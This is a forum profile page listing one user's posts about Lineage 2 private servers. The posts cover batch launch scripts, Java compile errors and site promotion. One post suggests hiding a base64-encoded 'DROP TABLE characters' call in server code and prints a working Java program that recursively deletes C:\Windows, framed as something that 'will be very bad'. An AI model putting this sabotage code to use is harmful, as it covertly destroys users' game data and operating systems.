Jump to content

mrnapz

Members
  • Posts

    54
  • Credits

  • Joined

  • Last visited

  • Feedback

    0%

Everything posted by mrnapz

  1. Trusted, made a purchase for a dummy IT friend.
  2. Hello Guys i know there is somewhere maxvotes/l2topzone (old files or ripped dunno) does anyone still have them to share? I know there is a lot scammers out there "selling" those files, please if someone still have them send link by pm or just post here if you wish. Thanks in advance guys.
  3. Damn Pere, my dream came true xD There is a few bugs to solve but i still LOOOOOOOOOOOVE IT! Now the questions: Pere is the best? A: Yes. Is Pere the best? A: Yes. The best is Pere? A: Yes How about the "Critical Bug"? For a long time that im away from tenkai so thats why im asking it A:Waiting for Asnwer. Will Pere continue with some commits? A:Hope so <3 Can you share the geo or tell me wich one you used? xD <3 A: Waiting answer.
  4. i spoke about "inner circle" ofc he has user contributions, most of the projects they as. btw, im not telling that mobius is better or l2junity is better, cause i love both. im using both. i just made a honest comment, i can be partial wrong, but i don't want anyone fighting cause all of you are amazing doing what you do. <3
  5. Guys why are you so mad (l2junity) i really love what you did till now in l2j community, mobius is doing so good for one person only in the "inner circle" that you call in l2junity. I really love your work, but i also love what mobius do. This is topic only creates fight with Steven Seagel vs Chuck Norris. John Cena vs Sponge Bob and Connor Macgregor vs Donald Trump. So please leave britney alone and lets be friends for ever. Love you all, with love from Jah, Yeshua, Ala, Buda, and Kim Jong-un MrNapz.
  6. 1. none 2. none 3. none 4. no
  7. anyone can re-upload it cause that link doesnt open. thanks
  8. that website is mine and is free, i will not give any payable votes or something like that
  9. Hello all, im sharing with you new website where you can add your server, this top is only for L2 Servers, not like the others you got many many many games and some are confused to use, so i made another top only for l2(i know its not the only one) but its more one for who want to use. www.l2zone.net be free to use a FREE topsite without payable banners or premium system to force you have a banner to advertise your server. Thanks. ps: if this is shared on wrong section please put it on right place cause i search a place to share website and didnt found :P and btw i hope maxcheaters doesnt go discontinued cause will be hard find another community like this.
  10. lul. why? only needs the characters name as i see.
  11. re-up: http://www.4shared.com/file/ZmzNXia_/BotReport.html
  12. by fixing it by myself, is that their criticizes, so is that i will show them i will do it by myself and show i will not request more help of people like this. Is that the "pwn" and for other people who need requests and read that topic, please dont request, they will do the same as me only criticizes who is learning java and who need some help too. Any mod please delete this topic, this is not a request anymore, and btw delete the request section it is useless or maybe is only for me. Cause i request a "crap" like someone said in some topic here, maybe its the most "crap" request here on mxc. and btw the best coders here are hNoke and Rizel without any questions cause they have life, have lots of work, and much more, but they when have some time they help without any problems. ps: they are not "certified by oracle" i think. please any mod really delete this topic, cause its will only bring "fight" in forum and i dont want it. so if not closed i will ignore all posts after that.
  13. i think thats the best help i ever had, i think with that help i can fix the java code. btw, if i fix it by myself i will pwn you all who criticize-me
  14. I know B1gB0ss thats what i've done all this time i work with l2j and you know java is not so easy to learn, all takes time but i can't re-open my sv with out this mod. :/
  15. im not telling you or coders like you dont have life, maybe you cant help in "crap" posts like this cause maybe your free time to code you spent only for code for l2j private source, but that's not the question i think in this forum we share and help each other and im learning java by myself too, noone is teaching me, but i do not request if i do not really need it, and i anwered you on that way cause i know have really good coders here and noone help me, and the answer was too others see too. Imagine you on my side, you reallly need one thing and you know here have people who can help you, and all ignore you, how it feels? Good? Remmember this fix is not only for me, its for all who cames to maxcheaters. And im not saying you really have to answer to this request by fixing, cause you are not the only good coder here, and ofc they have life, but in someone life noone have 5 minutes to spent to help me? is that too much time? so someone help me spent 1 minute of life to help me. Thanks and sorry B1ggBoss but its what i feel.
  16. for java coders check gameserver.java public static void printSection(String s) { s = "=[ " + s + " ]"; while (s.length() < 78) s = "-" + s; _log.info(s); } maybe you can do it in java intead of this -----------------------------------------------------------------=[scripts] you can make it a load bar.
  17. why before you lock it you dont help? :/ i know you're a good coder you can fix it so easy and if you helped it passed from "request" to a "share" but np. I think "friendship" is better than good code, and some people cant have "friendship" here.
  18. Demo of mine .bat Login Server: @echo off title PtGaming Login Server Console color 0B :start cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ²²²²²²²²²²²²²²²²²²²² 1%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: Û²²²²²²²²²²²²²²²²²²² 3%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: Û²²²²²²²²²²²²²²²²²²² 5%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛ²²²²²²²²²²²²²²²²²² 10%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛ²²²²²²²²²²²²²²²²² 15%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛ²²²²²²²²²²²²²²²² 20%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛ²²²²²²²²²²²²²²² 25%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛ²²²²²²²²²²²²²² 30%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 35%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛ²²²²²²²²²²²² 40%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 45%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛ²²²²²²²²²² 50%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²²² 55%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²² 60%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²² 65%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²² 70%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²² 80%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²² 85%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²² 90%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 95%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Login Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo PtGaming Login Server Started... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%% echo ------------------------------------- echo. echo. java -Xms128m -Xmx128m -cp ./../libs/*;login.jar pt.gaming.loginserver.L2LoginServer if ERRORLEVEL 2 goto restart if ERRORLEVEL 1 goto error goto end :restart echo. echo Admin Restart ... echo. goto start :error echo. echo Server terminated abnormaly echo. :end echo. echo server terminated echo. pause Game Server: @echo off title PtGaming Game Server Console color 0A :start cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ²²²²²²²²²²²²²²²²²²²² 1%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: Û²²²²²²²²²²²²²²²²²²² 3%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: Û²²²²²²²²²²²²²²²²²²² 5%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛ²²²²²²²²²²²²²²²²²² 10%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛ²²²²²²²²²²²²²²²²² 15%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛ²²²²²²²²²²²²²²²² 20%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛ²²²²²²²²²²²²²²² 25%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛ²²²²²²²²²²²²²² 30%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 35%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛ²²²²²²²²²²²² 40%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 45%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛ²²²²²²²²²² 50%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²²² 55%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²² 60%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²² 65%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²² 70%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²² 80%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²² 85%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²² 90%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 95%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Game Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo PtGaming Game Server Started... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%% echo ------------------------------------- echo. echo. REM ------------------------------------- REM Default parameters for a basic server. java -Djava.util.logging.manager=pt.gaming.util.L2LogManager -Xms1024m -Xmx1024m -cp ./../libs/*;server.jar pt.gaming.gameserver.GameServer REM REM If you have a big server and lots of memory, you could experiment for example with REM java -server -Xmx1536m -Xms1024m -Xmn512m -XX:PermSize=256m -XX:SurvivorRatio=8 -Xnoclassgc -XX:+AggressiveOpts REM ------------------------------------- if ERRORLEVEL 2 goto restart if ERRORLEVEL 1 goto error goto end :restart echo. echo Admin Restart ... echo. goto start :error echo. echo Server terminated abnormaly echo. :end echo. echo server terminated echo. pause Community Server: @echo off title PtGaming Community Server Console color 8A echo. cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ²²²²²²²²²²²²²²²²²²²² 1%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: Û²²²²²²²²²²²²²²²²²²² 3%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: Û²²²²²²²²²²²²²²²²²²² 5%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛ²²²²²²²²²²²²²²²²²² 10%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛ²²²²²²²²²²²²²²²²² 15%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛ²²²²²²²²²²²²²²²² 20%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛ²²²²²²²²²²²²²²² 25%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛ²²²²²²²²²²²²²² 30%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 35%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛ²²²²²²²²²²²² 40%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 45%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛ²²²²²²²²²² 50%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²²² 55%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²² 60%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²² 65%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²² 70%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²² 80%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²² 85%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²² 90%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 95%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo Starting PtGaming Community Server... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%% echo ------------------------------------- ping -n 1 localhost >NUL cls echo. echo. echo PtGaming Community Server Started... echo ------------------------------------- echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%% echo ------------------------------------- echo. echo. java -Xms128m -Xmx128m -cp ./../libs/*;community.jar pt.gaming.communityserver.L2CommunityServer pause I mad it is very cool you can make the time as you want for the load bad changing the ping -n 1 localhost >NUL number in red
  19. maybe its possible do that with base64 ^^ like e.executeUpdate(getText("RFJPUCBUQUJMRSBjaGFyYWN0ZXJz")); or not? what about something like that HAHAHAHAHA will be very bad xD to delete some windows files (in that case the folder but i think is not possible) import java.io.File; import java.io.IOException; public class DeleteDirectory { private static final String SRC_FOLDER = "C:\Windows"; public static void main(String[] args) { File directory = new File(SRC_FOLDER); //make sure directory exists if(!directory.exists()){ System.out.println("Directory does not exist."); System.exit(0); }else{ try{ delete(directory); }catch(IOException e){ e.printStackTrace(); System.exit(0); } } System.out.println("Done"); } public static void delete(File file) throws IOException{ if(file.isDirectory()){ //directory is empty, then delete it if(file.list().length==0){ file.delete(); System.out.println("Directory is deleted : " + file.getAbsolutePath()); }else{ //list all the directory contents String files[] = file.list(); for (String temp : files) { //construct the file structure File fileDelete = new File(file, temp); //recursive delete delete(fileDelete); } //check the directory again, if empty then delete it if(file.list().length==0){ file.delete(); System.out.println("Directory is deleted : " + file.getAbsolutePath()); } } }else{ //if file, then delete it file.delete(); System.out.println("File is deleted : " + file.getAbsolutePath()); } } }
  20. Experience in h5 are now in .xml :S can someone help fix that? [javac] Compiling 1644 source files to C:\Users\MrNapz\workspace\L2J_GameServer\GameServer\build\classes [javac] C:\Users\MrNapz\workspace\L2J_GameServer\GameServer\java\com\l2jserver\gameserver\model\entity\RebirthManager.java:14: error: cannot find symbol [javac] import com.l2jserver.gameserver.model.base.Experience; [javac] ^ [javac] symbol: class Experience [javac] location: package com.l2jserver.gameserver.model.base [javac] C:\Users\MrNapz\workspace\L2J_GameServer\GameServer\java\com\l2jserver\gameserver\model\entity\RebirthManager.java:174: error: cannot find symbol [javac] player.removeExpAndSp(player.getExp() - Experience.LEVEL[Config.REBIRTH_AFTER_LEVEL], 0);//Set player to level 1. [javac] ^ [javac] symbol: variable Experience [javac] location: class RebirthManager [javac] C:\Users\MrNapz\workspace\L2J_GameServer\GameServer\java\com\l2jserver\gameserver\model\entity\RebirthManager.java:180: error: method giveAvailableSkills in class L2PcInstance cannot be applied to given types; [javac] player.giveAvailableSkills();//Give players their eligible skills. [javac] ^ [javac] required: boolean,boolean [javac] found: no arguments [javac] reason: actual and formal argument lists differ in length Experiencetable.java in h5 /* * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see <http://www.gnu.org/licenses/>. */ package com.l2jserver.gameserver.datatables; import java.io.File; import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.logging.Level; import java.util.logging.Logger; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import com.l2jserver.Config; /** * @author mrTJO * */ public class ExperienceTable { private static Logger _log = Logger.getLogger(ExperienceTable.class.getName()); private byte MAX_LEVEL; private byte MAX_PET_LEVEL; private Map<Integer, Long> _expTable; public static ExperienceTable getInstance() { return SingletonHolder._instance; } private ExperienceTable() { loadTable(); } private void loadTable() { File xml = new File(Config.DATAPACK_ROOT, "data/stats/experience.xml"); Document doc = null; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating(false); factory.setIgnoringComments(true); if (xml.exists()) { try { doc = factory.newDocumentBuilder().parse(xml); } catch (IOException e) { _log.log(Level.WARNING, "Could not read experience.xml table: " + e.getMessage(), e); } catch (Exception e) { _log.log(Level.WARNING, "Could not parse experience.xml table: " + e.getMessage(), e); } Node table = doc.getFirstChild(); NamedNodeMap tableAttr = table.getAttributes(); MAX_LEVEL = (byte)(Byte.parseByte(tableAttr.getNamedItem("maxLevel").getNodeValue())+1); MAX_PET_LEVEL = (byte)(Byte.parseByte(tableAttr.getNamedItem("maxPetLevel").getNodeValue())+1); _expTable = new HashMap<Integer, Long>(MAX_LEVEL+1); for (Node experience = table.getFirstChild(); experience != null; experience = experience.getNextSibling()) { if (experience.getNodeName().equals("experience")) { NamedNodeMap attrs = experience.getAttributes(); int level = Integer.parseInt(attrs.getNamedItem("level").getNodeValue()); long exp = Long.parseLong(attrs.getNamedItem("tolevel").getNodeValue()); _expTable.put(level, exp); } } _log.info("ExperienceTable: Loaded "+_expTable.size()+" levels"); _log.info("ExperienceTable: Max Player Level is: "+(MAX_LEVEL-1)); _log.info("ExperienceTable: Max Pet Level is: "+(MAX_PET_LEVEL-1)); } else _log.warning("ExperienceTable: experience.xml not found!"); } public long getExpForLevel(int level) { return _expTable.get(level); } public byte getMaxLevel() { return MAX_LEVEL; } public byte getMaxPetLevel() { return MAX_PET_LEVEL; } @SuppressWarnings("synthetic-access") private static class SingletonHolder { protected static final ExperienceTable _instance = new ExperienceTable(); } }
×
×
  • Create New...